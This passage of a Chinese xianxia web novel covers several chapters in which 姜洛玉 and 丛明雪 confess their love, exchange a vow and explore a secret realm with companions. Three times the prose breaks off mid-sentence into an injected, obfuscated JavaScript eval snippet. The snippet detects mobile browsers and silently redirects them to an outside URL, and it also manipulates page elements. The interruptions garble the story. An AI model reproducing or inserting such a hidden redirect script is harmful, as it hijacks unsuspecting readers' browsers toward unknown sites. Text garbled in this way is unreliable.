绝迹? 头部传来剧烈疼痛,丛明雪否认着:“殿下记错了,明明……明明三天之前就找到——” 没等丛明雪说完,姜洛玉眼前一黑,再睁眼幻境又变了一副模样。 “陛下中的箭上有毒,需要、需要……” “需要什么,不要支支吾吾!” “需要刮骨去毒!” 姜洛玉转了转眼睛,瞥见床边站着的身披玄色重甲的将军,还有跪在地,面如土色的太医。 脑子很沉,他努力算 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冰冰凉凉的东西顺着来人的触碰进入身体,姜洛玉意识到这是丛明雪的灵力。 凡界修道之人积攒灵力及其困难,伴随着年龄增长,吸收灵力的速度会越来越慢。 如果把修道之人比作一口水缸,灵力就是水。等到缸被水填满,剩下的就是机缘了。 机缘一到,凡界的修道之人就能进入修真界开启新篇章。 丛明雪的水缸早满了,一旦将灵力送出去,或许到死也无法将其再次填满。 更何况,修道之人插手帝王之事,会因果加身,更加难以进境。 他是皇子的时候,丛明雪可以教导他。一旦他成了帝王,他们只能渐行渐远。 “为什么……”他咳出口淤血,一把抓住丛明雪的手腕,“你为什么要救我?” 躺在床上的青年汗湿的发丝粘在脸上,眉眼间硬是生出一股脆弱旖旎之感,唇色艳红,像是索命的厉鬼。 丛明雪没想到姜洛玉会中途醒过来,稳了稳心神,道:“别乱动。” “我不!”姜洛玉撑着行军床坐起,“药辛……回答我。” “你为何出现在此处,又为何要用灵力救我?” “你不是说,修道之人不能插手帝王之事吗?” 厉声逼问让丛明雪愣了愣神,尖锐地刺痛从脑中传来,他看清姜洛玉通红的眼眶,道:“因为……是你。” 别人的话,他是不会过来的。 姜洛玉攥着丛明雪的手一松,语气飘忽,喃喃道:“……我?” 上辈子两人之间的经历如走马灯般浮现,最终停留在死前,丛明雪回答他的话。 “得偿所愿”。 “老师,”姜洛玉一字一顿,“你到底,喜不喜欢我?” “咔嚓”,丛明雪耳边响起蛋壳开裂的声响。 喜欢? 又是一个陌生的词汇,比心悦更加直白,让他的心脏开始不受控制地跳动起来。 “我……” 眼看着周围的事物开始消散,姜洛玉低头笑了两声,一把扯住丛明雪的腰带。 柔软又带着药香的东西贴了上来。 丛明雪意识到,这是一个吻。 24.穿越第二十四天 原来接吻是这种感觉吗? 姜洛玉没吃过猪肉也见过猪跑,仙界暗恋几百年,下界更是正经憋屈了两世,这下亲都亲到了,自然不限于浅尝辄止。 管他天道不天道,谁说天道无情? 若是真无情……那气运之子又是怎么来的? 他死命扣住丛明雪的脑袋,防着他逃跑,感受到对面人的无动于衷,气得直接在上面咬了一口。 也没咬太重,就是留个印子的程度。 咬完又觉得无趣,毕竟他还没想明白那句“是你”到底是什么意思,看起来丛明雪本人也没弄清楚。 他松了力道后退两步,意味深长地看了一眼满脸怔愣的男人。 男人原本淡色的薄唇上多了道明显的牙印,看起来有些滑稽。 “老师……我们马上还会再见的。” 此刻幻境内,只剩下两人之间的景象完好无损,其他地方消散了一干二净。 姜洛玉说完,纵身跳入黑暗之中。 “烛山。” 下坠的身体被人托住了。 “你问我,当初为何要带你一起离开姜国。”丛明雪抬手拂去怀中人阻碍视线的发丝,葱绿的眼睛里闪烁着晦涩的光,“我说得偿所愿。” 姜洛玉脑子很乱,“国师”是不会叫他道号的。 那现在和他对话的人是谁?是天正宗的仙尊,还是九天之上的神君? 他只能反问:“所以呢?” “还有一句话,我没说完。” 姜洛玉呼吸一滞,心里无端生出一种恐惧,伸手捂住丛明雪的嘴:“等一下!” 他跳了下去,审视着和方才没什么两样的人,心脏越跳越快。 丛明雪想说什么? 这种情况下他能说什么? 姜洛玉突然觉得,这段漫长的感情不是非得求一个结果了。 对方的回应让他感到恐惧。明明当初历练的时候九死一生,他都没怕成这副样子,最多就是唏嘘不能回现世看见家人,只能带着遗憾和不见天日的心动化成飞灰进入轮回。 他对丛明雪的喜欢始于外貌,之后才是性格、实力……但他清楚的知道,自己喜欢上的是丛明雪,却又不是他。 更准确的来说,他喜欢的是“药辛神君”——那个丛明雪展现出来淡漠又完美的神明躯壳。 他不知道丛明雪的过往经历,不知道他的喜好,他不了解真正的丛明雪,又或者说,真正的“丛明雪”早就在消失在他未曾参与过的岁月里。 他们之间隔着不可逾越的鸿沟,如果丛明雪恢复仙界的记忆,那下界三世,在他眼中又是否等同于黄粱一梦般短暂? 可偏偏有了在下界的三世,他对丛明雪的了解不再受限于此。 仙界的丛明雪,温柔体贴里细细品味,还能感觉出“ai模仿人类”的违和。 而身为姜国国师的丛明雪明显更鲜活有人气,作为天正宗仙尊的丛明雪,虽然更贴近于“药辛神君”,但骨子里还残存着“人”的特质。 他的心又不是钢做的,沦陷很正常。 想了这么多,外界才过去几秒。 丛明雪没等姜洛玉再度开口,郑重道—— “因为我心悦于你,对你动了情。” 姜洛玉听完告白有些崩溃:“都过去这么久了,你现在说这些还有什么……” 丛明雪走了过去,轻柔又不容拒绝地将人揽到怀里:“不晚。” “我全都想起来了。” “全、全部?”姜洛玉瞳孔一缩,指了指天,“包括……” 丛明雪点头。 比恐惧更加复杂的情绪涌了上来,姜洛玉想起自己恢复记忆后的所作所为,心里乱七八糟地想法如野马飞驰。 “先出幻境,其他的之后再说。” 伴随着声音落下的,还有额头转瞬即逝的吻。 姜洛玉大脑一片空白。 迷雾海。 漫天浓雾之下,突兀地出现了两个人。 在姜洛玉和海水亲密接触之前,被丛明雪一把横抱到怀里。 他手足无措地扑腾着,四肢却不听使唤,如同未开化的野人。 脸上的热度还没下去,见丛明雪居然又有低头的趋势,姜洛玉大声喊着:“等等!” 丛明雪停住,这才解释道:“抱歉,是我唐突了。我只是想……” 他只是想用他的方式告诉姜洛玉自己的心意。 仙界五百年,下界六百一十三年。 丛明雪能看见识海里新多出来的,数量惊人的粉色记忆光球。它们层层叠叠堆在一起,让冰天雪地的识海多了几分温情。 每一个光球里都是他“心动”的证据。 仙界最开始的记忆称不上动心,他的生活平静了太久,突然出现的异世孤魂让他送去了几分关注。 又因为姜洛玉不像其他神仙那样怵他,他们才能有机会了解彼此。 他对姜洛玉的印象是——聪明、勤奋,但是又极其冷漠,挂在脸上的表情大多数时间都是虚假的,很少流露出真实情绪。 但当他露出真实情绪之后,丛明雪又读不懂他眼里的感情。 直到姜洛玉说他要渡劫,修成“天道”多年,早就剥离了常人情绪的丛明雪,第一感受到了什么是“无措”。 他没去下界渡过劫,也不需要渡劫,但他见过别的仙神渡劫。往往一个人下去,一家子上来。 在药辛殿枯坐了十天之后,他迟钝地意识到,姜洛玉对他来说是特殊的。至于怎么个特殊法……丛明雪想不明白。 他能确定的是,绝对不能让姜洛玉一个人在下界轮回三世渡劫。 于是他去了下界,中途出了差错,有人趁机夺去了他的神格。又因为无相球的缘故,那人直接让他和姜洛玉命格纠缠,被困下界受无尽轮回之苦。 按理来说是无法破局的,没了神格的他和凡人没有任何区别。 但姜洛玉是异界之魂,虽然被此界天道承认,依旧不完全属于这个世界。轮回几百世后,神魂上的天道气息越来越少,被规则排斥才恢复了记忆。 又因为二人命格纠缠,也间接促使他恢复记忆, 心口快要溢出来的情谊让丛明雪不禁红了眼,他一时失声,只能眼睛一眨不眨地看着姜洛玉。 怀里的人用了三百二十八世,一千一百一十三年,教会他什么是“情”。 他们合该永生永世不再分开。 丛明雪眼底划过的炽热情感,烫得姜洛玉不敢出声。 如果他刚才的举动叫“唐突”,那自己刚才强吻都应该以死谢罪了。 “那你到底想做什么?”姜洛玉挣扎无果,跨住丛明雪的脖子,在他怀里找了个舒服的姿势。 丛明雪叹息道:“我要让你知晓……我的一切。” 所有记忆,所有情谊他都要一并奉上。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779966|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些压抑的情感爆发后让他无所适从,面对心心念念的人,他只能用最原始的方法表达自己的爱意。 神魂交融。 “闭眼。” 姜洛玉乖乖闭眼,下一秒额头贴额头,两人的鼻梁撞在一起。 “放松,不要抗拒我的神识。” 姜洛玉:“神识?!你要和我……” “神魂交融”几个字他到底没能说出口,这东西是比双修还亲密,怎么被丛明雪用来看记忆了! 丛明雪垂下眼,淡淡道:“只是看记忆,不会做其他的。” 姜洛玉:“……” 他不是这个意思……算了。 额头相贴处传来燥热之感,丛明雪的神识很有礼貌地敲了敲他识海的大门。 姜洛玉:“……进来。” 神魂交融刹那,他看见了一棵……颤颤巍巍的野葱。 野葱生长在深山里的悬崖峭壁上,又瘦又小,看起来营养不良,身边还长着其他兄弟姐妹。 托福于位置,没有意外,它们都会生长到寿终正寝。 直到秋日的一天,白胡老道自刎于悬崖之上,颈部流下的血滴在野葱上。 最瘦小的那棵野葱开了灵智,本能的开始修炼。 三十年后,野葱化了形,替老道收敛了尸骨,立了无名墓碑。 野葱离了悬崖,为自己起名丛明雪,开始在修真界四处历练。 他的天赋很高,高到其他人望尘莫及。化形后十年金丹,百年元婴,五百年合体,一千年大乘。 元婴圆满,是丛明雪命运的转折点。 他被化神初期的魔修抓进了万妖窟,差一点就要被炼化成丹药。 万妖窟里很冷,冷到三魂七魄都冻成了冰块儿。每时每刻都有人在死去,他们变成血色的泥水,变成粘稠的血雾。 丛明雪见此惨状,内心触动,以己身神魂血肉为祭,问天道何公?天道不应。 于是他说,那他来做第二个天。 他终于找到了自己的道——“天道”,以身为剑越阶杀敌,救了剩下的妖。 他抛弃之前修习的功法自创《天剑诀》,九式剑招都与“天”相关。 靠着这九式剑招,丛明雪成为了“天下第一剑”。 之后的记忆就像是陷入了轮回,修炼、瓶颈、历练、突破、修炼……直到飞升。 飞升之后的丛明雪依旧像在下界一样,除了仙界的危机更大些——他参与过两位仙帝挑起的战火,被几位仙君联手追杀…… 这些都没能阻挡他前进的脚步,等他成了仙君后不久,就在天道应召之下飞升成神。 神界的记忆姜洛玉无法观看,于是又转回了仙界。前半部分很平淡,平淡到姜洛玉怀疑丛明雪是不是在修道的过程中挖去了产生情绪的神经。 然后他就看见了自己。 这种神魂交融的方式观察他人记忆,能够让观察者更直观的体会到记忆主人的情绪变化。 姜洛玉沉默着从仙界一直看到了下界,看到最后泣不成声。 他睁开眼,声音嘶哑:“是……姜国那一世?” 丛明雪点头道:“没错。我所习之道过于特殊,能够吸收产生的情绪。” “只有在姜国为人那一世,‘天道’对我的影响最小,我才能认清自己的心意。” 姜洛玉抹了把脸。 “阿玉,那你愿意……同我结为道侣吗?” 25.穿越第二十五天 疯了,简直是疯了。 姜洛玉咬了下舌尖,尝到血腥味儿之后才冷静下来。 他不会还在幻境吧? 丛明雪看出姜洛玉眼底的犹豫,唤出飞舟,将人放了上去:“对不起,是我心急了。” 他掐住姜洛玉的下巴,捏开看了看,见伤口还在渗血,道:“回答不急于一时,等你想好了再告诉我。” “你若同意,我便宴请天下宗门参加你我合籍典礼。” “待到合籍之后,精血相融,神魂互应,天道做契,死生相依。” “我若负你,必定修为折损,道心破碎,粉身碎骨后三魂七魄不入轮回。” 漫天浓雾里,姜洛玉听见了带着法则之力的雷声。 天道誓言已成。 丛明雪抬手擦去姜洛玉眼角溢出的泪水:“我不会让你有后顾之忧。所以……不要轻易拒绝我,可以吗?” “我……你……”姜洛玉不知道自己为什么又哭了,他这一天流下的眼泪比之前几百年加起来的都多。 或许是今天接受的信息太多了,又或许他的识海承受不住丛明雪浩如烟海的记忆。 他的头很晕,但意识又及其清醒。 他能听清丛明雪说的每一个字,能理解他每一句话的意思。 丛明雪说不会让他有“后顾之忧”,直接发下最狠毒的天道誓言断绝了自己的后路。 一个“负”字,包含了所有。 那些踌躇不安的情绪在丛明雪的誓言里消失得一干二净。 “我愿意。”他扑了过去。 一双有力的手牢牢接住了他。 熟悉的冷香瞬间将他包围。 迷雾海中心。 朱轻竹跪在木板上,用双剑艰难划水。 划了半炷香,周围依旧环绕着辨别不出方向的大雾,也不知道猴年马月才能摸到阴阳境的边。 她从幻境挣脱出来后,拿出准备好的小船,没想到刚一放上海面,就被海里的妖兽掀翻。 好在船翻之后妖兽也离开了,她这悟出来原来迷雾海上不允许船只出现。 关于三清秘境的消息一直很少,据说是受秘境的限制,出去后会忘记一些关键的东西,遭此“横祸”也在朱轻竹的预料之内。 海上没有一点声响,甚至连妖兽的影子都没有。 她实在受不了这种寂静,只好自言自语道:“没关系,很棒了,起码没死在幻境里不是吗?” 又过了一个时辰,朱轻竹撞上了一艘……飞舟。 “我是不是眼花了。”朱轻竹只能看清飞舟的头,因着底部的雾气淡一些,便趴下去仔细确认。 确实是一座飞舟,底部离海面有着一寸的高度,敲了敲,还是实心的。 朱轻竹若有所思,原来飞着的船就可以在海上航行了。 “道友,你这姿势有碍观瞻啊。” 朱轻竹浑身一僵,跪坐回去,抬起头,这才看见飞舟上还站着两个人。 说话的是个长相明艳的青年,修为在金丹初期,身着藏蓝色的华丽法衣,就是……嘴有点肿? 朱轻竹不确定地又看了一眼,确实肿了,下唇的红痣附近还坏了道口子。 至于青年身边的男人,她看不清他的脸和修为,就连法衣也蒙着一层雾。 朱轻竹对青年莫名生出一股亲切之感,总觉得青年似笑非笑的样子像她养过的玄龟。 可惜那玄龟刚学会化形就到了寿命,小小一团孩子在她怀里永远闭上了眼睛。 “上来吗?相逢即是缘,道友乘坐飞舟只收两块下品灵石。”姜洛玉晃了晃手,比了个二。 这孩子看着一脸死气,要是不救一把估计得死在海上。 此时朱轻竹的戒备心早就丢了个一干二净,满脑子都是她命苦早亡的玄龟,当即拍出两块儿下品灵石到姜洛玉手里,纵身跳到飞舟上。 “多谢前辈,在下朱轻竹。” 少女筑基后期修为,一身玄色劲装,手持双剑,剑穗很旧。长发扎成马尾高高竖在脑后,清秀的脸上挂着同龄人没有的稳重。 姜洛玉猜测少女应该是个散修,刚露出微笑就牵扯到唇上的伤口,蹙眉“嘶”了一声。 本着只要自己不尴尬,尬尴的就是别人的原则,面色如常道:“在下沈玉,旁边的……是我道侣江山。” “呵——” 轻飘飘的笑声传了过来,姜洛玉看了丛明雪一眼,默不作声和他拉开了一些距离。 “很疼吗?” 姜洛玉眼皮跳了跳:“你猜?” 朱轻竹:“……” 要不她还是跳回海里吧。 朱轻竹一回头,发现自己的木板早就沉入了海水里。 她只好找了个角落缩起来。 眼看着雾气比之前更浓了些,几乎到了伸手不见五指的地步,姜洛玉边掌舵边问:“所以到底怎么到达阴阳境?” 丛明雪:“用心体会。” 姜洛玉:“……” 他就知道。 一个时辰后,姜洛玉放弃手动操控航线,让飞舟自己随意飞,站到船舷边开始钓鱼,等到丛明雪看过来,又塞给他一把鱼竿。 朱轻竹缩在飞舟角落满脸问号,迷雾海是钓鱼的地方吗? 姜洛玉拿出果脯吃了两片,回头招呼道:“朱道友想钓鱼吗?我这儿还有多余的鱼竿。” 朱轻竹连连摆手:“不了不了,二位前辈慢慢钓。” 一刻钟之后,丛明雪钓上来一条金光闪闪的鱼。 姜洛玉顶着金光看过去,“咦”了一声:“怎么是条龙?不是说迷雾海里只有鱼吗?” 擀面杖粗细的金色小龙咬着鱼钩一顿乱扑腾,海水四溅,恶狠狠地瞪着丛明雪,一副要气撅过去的样子。 丛明雪将小龙从上面摘了下来,瞳孔微缩,一把将其甩进雾里,淡淡道:“你看错了。” 姜洛玉:“……?” 有猫腻。 半日之后,雾气终于有散去的趋势。等到阳光破雾而出,连绵不绝的黑白二色山体最先呈现在众人眼前。 阴阳境无愧于它的名字,除了黑白没有第三种颜色。 上岸之后穿过狭窄的山涧,映入眼帘地是一片看不到头的深林。走进去也看不见兽类的影子,连鸟叫声都没有,寂静地有些渗人。 姜洛玉从树上摘下一颗黑色的果子,掰开发现里面的果肉长得和眼球差不多,顿时失了探索新物种的兴趣。 丛明雪走在最前面,朱轻竹在中间,他走在最后。 朱轻竹头皮发紧,总觉得后面有东西在看着他们,可她回头却只能看见黑漆漆的树木。 姜洛玉面无表情恐吓道:“孔道友可曾听闻过——回头杀?” “啊?”朱轻竹听不太懂,可姜洛玉阴森森的语气还是让她汗毛倒立,“那我还是不回头了……” “啊啊啊啊!” 电光石火间,姜洛玉掏出玄衣剑砍向朱轻竹脚腕的藤蔓,二者相撞之处火星四溅,那手腕粗细的藤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784929|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔓毫发无损。 两人合力一连砍了几百剑,眼看着朱轻竹就要被树藤拖走,姜洛玉灵光一现,直接用手抓住树藤! 手里的树藤逐渐融化了。 朱轻竹心有余悸地躺在草地上,心疼地抱着自己缺了口的双剑,欲哭无泪。 这树藤有毛病吧?怎么吃软不吃硬! 丛明雪俯下身子替姜洛玉擦了擦脸上的污迹:“这只是个开始,阴阳境的危险远远超过你们所想。” 姜洛玉“哦”了一声,用枯树枝戳着化成粘稠液体的树藤,见朱轻竹白了脸,安抚道:“孔道友不必担心,有我道侣在,咱们死不了。” “唔……快死的时候他会救一把。” 朱轻竹露出个有些勉强的微笑:“那就多谢……两位前辈了。” 她怎么有种上很不靠谱的感觉啊! 又戳了两下,姜洛玉突然起身,顺着树藤的尸体的痕迹扒开树丛,向深处走去。 树藤连接着一棵参天古树,十人合抱也抱不住的树干从中间裂成两半儿,里面飘着一团黑气。 姜洛玉没感受到危险,犹豫后决定把那东西掏出来。按照他在仙界进秘境的经验来说,他的气运还是不错的,十次起码九次碰到的都是宝贝。 黑气到手化成了实体,摸起来滑溜溜的还没有瑕疵,姜洛玉捧着脑袋大的黑球走回去,对着丛明雪晃了晃:“这是什么?” 丛明雪:“阴阳造化珠,聚集天地阴阳二气依附于草木而生,能够按进身体里成为天灵根。” 姜洛玉拍了拍阴阳造化珠,可惜道:“那这个我用不上,送你了。” 接住珠子的朱轻竹:“……?” 天上掉馅饼了? 她摆不了手,只能一个劲儿摇头:“使不得啊!这东西是沈道友杀死的,我要它做什么?” 虽然天灵根很让人心动,但她要了这东西良心不安啊,还有这东西获得地也太轻松了! 能变成天灵根的天材地宝放在外面那是合体真君都要抢夺的宝贝,如今被姜洛玉这么轻易地给了她……朱轻竹只怕自己有命拿没命花。 姜洛玉猜到朱轻竹的想法,只好再次催动《太一万法无相诀》,由于不想在朱轻竹眼里活人变乌龟,稍稍减轻了效果。 朱轻竹还想拒绝,结果心头又涌上了莫名的悸动,一看见姜洛玉就想起自己命苦的玄龟。 姜洛玉的脸和玄龟的头逐渐重合,朱轻竹鼻涕一把泪一把地把阴阳造化珠收进了储物戒。 有了功法加成,接下来一路遇怪打怪,没怪看景,真遇上他们这个修为解决不了的,丛明雪就会出手化解。 到手的天材地宝他和朱轻竹直接平分,用不上的也都进了朱轻竹的口袋。毕竟这些东西他储物戒里有的是,再多些也只是锦上添花。 他看朱轻竹顺眼,也不介意当一把“金手指老爷爷”。不过令姜洛玉奇怪的是,那些天材地宝的出现……有些过于密集了,就像是有人特意放到他眼前的一样。 又收下一朵阴阳万药芝后,朱轻竹终于忍不住问道:“前辈,您体内是有玄龟血脉吗?” 姜洛玉捏碎了手里的另一朵灵芝。 “快——跑——啊!” 姜洛玉循声看去,诧异道:“苗真?” 朱轻竹满脸惊恐:“前辈快走!咱们离这个倒霉蛋远一点啊啊啊啊——” 姜洛玉后退一步,打量着从土里钻出来的黑白巨蛇,道:“晚了。” 他们已经进入巨蛇的领域了。 26.穿越第二十六天 “救命啊——!”苗真高喊着向三人所在之处跑去。 他和钻出来的巨蛇之间仅隔了一步之遥。 巨蛇足有几十丈高,修为更是达到了惊人的渡劫中期,身上的黑白花纹如同云雾翻滚。 倒三角状的蛇头分裂成九个,每个脑袋都在嘶吼,发出的尖啸震得树木倒塌,地面开裂。 好在巨蛇没有理会在它眼里比“蝼蚁”还渺小的苗真,而是将九个脑袋对准了丛明雪。 丛明雪看清巨蛇的九头,放在身侧的手捏碎了法衣一角。 苗真跑到姜洛玉身边,腿一软直接跪了下去,面色青紫:“沈、沈沈……” 朱轻竹把人扶了起来,恨铁不成钢:“舌头捋直了再说话!” 苗真泪眼婆娑:“绿、捋不直,窝、我中中中……” “张嘴。”姜洛玉弹了一颗解毒丹进苗真嘴里。 苗真咽下丹药,有了力气,一把抱住姜洛玉大腿:“沈大哥我求你救救李角!他也中毒了,现在生死未卜,就在巨蛇身后的荒野的泥潭边上,出去之后我翻我娘金库答谢你!” “你先松开。”姜洛玉顺利抽出腿,将视线转移到九头巨蛇身上。 此次三清秘境允许进入的修士修为在元婴及之下,按理来说秘境内元婴之上的妖兽都会陷入沉睡,这东西到底是哪儿冒出来的? 如今他们所处的地方都被巨蛇圈了进去,成为了它领域的一部分,想要逃脱,除非有另外的领域能够与之抗衡。 眼见着极致的黑暗以巨蛇为中心蔓延开来,他奇怪地看向丛明雪,传音道:“……阿雪,你不开领域吗?” 说完有些臊得慌,他还是不适应这么叫丛明雪。可确定关系之后再叫什么师尊、神君,又显得没那么亲密,权衡之下还是改了称呼。 丛明雪没有回答,垂下头一言不发。 姜洛玉见他的神情前所未有的难看,心中一慌:“这蛇有什么问题吗?” 要不然以丛明雪的实力,怎么会露出如此严肃的表情? 丛明雪摇头,唤出聆天剑,在众人身后的领域划开一条口子:“没有问腿,你们先走,我一会儿去找你们。” “那好。”姜洛玉总觉得不对,可又没有什么不好的预感。 他的第六感准得惊人,帮他躲过了多少明枪暗箭,不可能说失灵就失灵。 说话间姜洛玉给脸色重新发紫的苗真又塞了一颗丹药,道:“我们先去救李角了。” 套了几个护身结界,又拿出法宝“一线牵”,姜洛玉将三人套在一起,朝着光明处奔去。 巨蛇没有动作,甚至连眼神都没施舍给他们一下,姜洛玉心中的疑惑越来越深。 苗真没跑两步脚下一软,倒在地面被两人拖行,绝望道:“沈大哥我好像要死了……” 朱轻竹回头抓小鸡仔一样拎起苗真:“说什么丧气话,你欠本小姐的钱还没还呢,死什么死!” 苗真:“不是你谁啊?” 他盯着朱轻竹的侧脸努力想着,见鬼道:“你是朱家被逐出家门的二小姐!” “一会儿再叙旧。”姜洛玉黑着脸,一手一个御剑起飞,把丛明雪和巨蛇远远甩在身后。 眼前的白光越来越亮,三、二、一—— 安全出来了。 稳住身形之后,姜洛玉掐醒苗真,直接把一瓶解毒丹都倒了进去:“带路。” 苗真噎得半死,指着北方:“就在那边,御剑大概需要一刻钟。我和李角有主仆契,能感受到他的方位……” “可那泥潭里有毒物,已经开始撕咬李角了,我们得快点过去。” 时间紧迫,姜洛玉极快地过了一遍手里的法宝,能在秘境规则之下用的根本没几个。灵光一现,叫醒了丹田的无相球。 “莲台!” 无相球“砰”得一声,变成了能容纳七八人的莲花台,姜洛玉跳上去抱住一颗莲子,提醒道:“抱稳了。” 苗真:“……?这是什么啊啊啊——” 他要被吹飞了!!! 朱轻竹眼疾手快,接过姜洛玉递过来的丹药又倒进苗真嘴里:“别喊了快吃药,你这到底是什么毒啊!” 苗真抱着自己身边的莲子边嚼边哭,脸色又青又紫:“我也不知道……哕,这药好、哕——” “我把李角的毒也传到我身上了,不然他早死了。” 姜洛玉平静地打开莲台的防御开关,拿起药瓶看了看:“这是药峰峰主的新作怪味丹药,为了警示弟子不能光靠着丹药修炼。” 苗真:“解毒丹也不能用来修炼啊!” 姜洛玉:“这莲台是我本命法宝,有它在能将赶路时间压缩到四分之一。” 朱轻竹好奇地摸来摸去:“原来如此,真是个宝贝。” 当然是宝贝,姜洛玉靠上莲花瓣,这东西可是清河仙君的本命法宝简化版。 他在仙界最常去的地方就是清河仙界的仙灵园了,一来二去和清河仙君成了棋友,两人相见恨晚。 最后又加上了个三白仙君,三人举杯痛饮,清河仙君直接拿出了自己的本命法宝七宝莲台炫耀,说当初就是靠着这东西逃过了天仙追杀。 想起姜洛玉的功法特性,清河仙君酒意上头大手一挥,让姜洛玉放开手复刻他的本命法宝,若是真琢磨到了其中精髓就当是送他了。 姜洛玉喝多了也不见外,直接捧着七宝莲台用《无相诀》复刻几十年,硬是把七宝莲台的三宝复刻到手——移速、防御、隐形。 在下界使用虽然限制颇多,赶个路还是没问题的。 “你和李角进秘境之后发生了什么,为何会中毒,你又为何会被巨蛇追杀?”见苗真脸色好了不少,姜洛玉问出了心中疑问。 苗真:“我们进入阴阳境之后一直在寻找进入天地境的路,找了大概两天,来到了一处泥潭附近。看见……” 朱轻竹催促道:“看见什么了?” “我们看见许胜在虐杀许家人!一不留神就被那厮发现了。”苗真抱着解毒丹边嚼边说,“他不是走火入魔就是被邪修夺了,明明只有练气修为却能抓住我和李角、呕——” “敢吐出来就把你丢下去。”姜洛玉威胁道,眼神危险。 苗真面如菜色:“结果他刚给我们下完毒就跑了,我身上的毒大半儿都通过主仆契转移到了李角身上,才能用法宝挣脱束缚。” “阴阳蛇就是那时候钻出来的,用尾巴卷起我就开始飞奔,等我回过神,它停了一会儿就把我放了下来。” “我当然得趁机跑啊,不跑是傻子!跑着跑着就看见你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788756|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 话音刚落,苗真指了指下面漆黑的泥潭兴奋道:“到了!” 姜洛玉控制着莲台下降,甩出软鞭,将半截身子趴在泥潭被毒物啃食的李角缠了上来,翻出手里的解毒丹喂给李角。 李角紫得发黑的脸色终于恢复原状,呼吸也平稳了下来。 姜洛玉打了个哈欠,揉了揉眼睛:“这下不急了吧,此地不宜久留,我们换个地方等。” 苗真拿着帕子给李角擦了擦脸上的汗珠:“等谁啊?” 朱轻竹:“沈前辈的道侣。” 苗真:“……” 两日不见,沈大哥怎么有道侣了?难不成是刚才那个看不清脸的男人? 姜洛玉眨了眨眼,突然生出想在莲台里睡一觉的念头。幽幽莲香环绕在鼻尖,还多了一股说不上来的甜香。 一秒、两秒、他扇了自己一巴掌,大脑瞬间清醒,拔出玄衣剑,厉声道:“谁!” “不错啊,怪警觉的。” 是一道成熟慵懒的女声。 甜香越来越浓了,姜洛玉见苗真和朱轻竹已经晕了过去,意识到香气有毒,可已经迟了。 他也晕了过去。 “嘶——” 摆动的蛇尾迎面打过来,丛明雪再度闪身,擦了擦嘴角溢出的血迹,飞到和巨蛇同一高度:“离昼前辈……我们可以好好谈谈。” “有什么好谈的?”阴阳九头蛇嗤笑一声,低沉的声线如同淬了毒一般,“你监守自盗,我们之间的帐还没算清楚呢。” “要不是那伽提前去迷雾海蹲守,你还打算瞒多久?!还有,你们这个时候回来干什么?” 丛明雪收起聆天剑,青葱色的眸子里满是坚定:“我没打算隐瞒,只是事出有因,我和阿玉才提前回了三清秘境。” 阴阳九头蛇“哼”了一声,气也出得差不多了,尾巴一拍地面,变成了人形。 身着玄色阔袖蟒纹法衣的男人拢了拢披散的黑发,五官雌雄莫辨,脸上布满密密麻麻的红色咒纹。 他伸手划开一道光门:“走吧,境主应当已经被垢姬接回去了。” 丛明雪踏入光门,恢复视线后,站在了百花盛放的寝殿里。 寝殿里飘着花朵的馨香,从细节布置处能看出是女子的居所。 “垢姬你是不是把脑子丢了!你是三毒断魂草不是花,没事儿散发个屁的花香?境主都被你毒晕了!” 清亮的女声震得寝殿的花枯萎了一半儿。 被骂的垢姬本人靠在柱子上,闻言抠了抠手指甲,吹了吹上面的毒粉:“我又不是故意的,只是见了境主过于激动。” 红楹艳丽得不可方物的五官瞬间扭曲,头上生出一把火:“要不是老娘褪毛期没过不好意思出门,你以为你能去接境主?” 那把火从红楹头顶一直烧到了发尾,头顶赫然空出了一片头皮,其他部位的头发倒是蓬松依旧。 “好了别闹了,境主马上就要醒了。”长相清雅的女人伸出手试了试床上青年的脉搏,露出个温柔的笑来。 那伽睁开眼,从地面站起,金色的瞳孔扫过丛明雪和离昼,脸上划过一丝杀意:“凝星,你说的那种无色无味的毒药还有多少?” 丛明雪头疼地闭上眼睛。 谁能救救他? 27.穿越第二十七天 “啊——!” 姜洛玉跌在硬邦邦的土地上,天旋地转好半天才爬起来。 面前是无边无际荒原,半枯的黄草和低矮的灌木在干裂的土地上苟延残喘,天际被火烧云染成漂亮的橙红色。 干燥的风呼啸而过,姜洛玉抓住了滑落的发带。 “啪嗒”,一颗圆滚滚的白色光球滚到了他脚底,他捡起光球,看见上面六岁孩童的倒影。 他变小了。 姜洛玉转过身,铺天盖地的光球淹没了他的身体。 他握紧了手里的光球,看见自己刚到姜家不适应新环境,半夜上吐下泻进了急诊的记忆。 记忆一闪而过,更多的光球接触到他裸露在外的皮肤。 